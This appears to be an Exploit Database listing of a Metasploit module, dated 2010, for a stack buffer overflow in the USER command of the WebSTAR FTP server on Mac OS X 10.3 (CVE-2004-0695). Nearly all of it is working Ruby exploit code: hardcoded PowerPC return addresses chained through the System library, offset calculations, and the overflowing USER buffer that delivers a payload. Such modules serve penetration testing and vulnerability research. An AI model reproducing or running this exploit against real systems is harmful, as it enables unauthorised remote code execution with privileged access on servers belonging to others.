WebSTAR FTP Server – USER Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/16872/

• ##
  # $Id: webstar_ftp_user.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'WebSTAR FTP Server USER Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the logging routine
  				of the WebSTAR FTP server. Reliable code execution is
  				obtained by a series of hops through the System library.
  			},
  			'Author' => [ 'ddz', 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'CVE', '2004-0695'],
  					[ 'OSVDB', '7794'],
  					[ 'BID', '10720'],
  
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 300,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'Compat' =>
  						{
  							'ConnectionType' => "+find"
  						},
  				},
  			'Targets'=>
  				[
  					[
  						'Mac OS X 10.3.4-10.3.6',
  						{
  							'Platform' => 'osx',
  							'Arch'=> ARCH_PPC,
  							'Rets'=> [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ],
  						},
  					],
  				],
  			'DisclosureDate' => 'Jul 13 2004',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]),
  			], self)
  	end
  
  	# crazy dino 5-hop foo
  	#$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
  	#$r28 = pack('N', 0x90034d60); # getgid()
  	#$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
  	#$r30 = pack('N', 0x90023590); # call $r3
  
  	def exploit
  		connect
  
  		# The offset to the return address is dependent on the length of our hostname
  		# as the target system resolves it ( IP or reverse DNS ).
  		mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
  		basel =285 - mhost.length
  
  		print_status("Trying target #{target.name}...")
  
  		#ret = 296
  		# r25= 260
  		# r26= 264
  		# r27= 268
  		# r28= 272
  		# r29= 276
  		# r30= 280
  		# r31= 284
  
  		# r1+120 = 408
  
  		buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
  		buf[basel +24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
  		buf[basel, 4] = [ target['Rets'][1] ].pack('N') # getgid()
  		buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
  		buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
  		buf << payload.encoded
  
  		send_cmd( ['USER', buf] , true )
  		send_cmd( ['HELP'] , true )
  
  		handler
  		disconnect
  	end
  
  end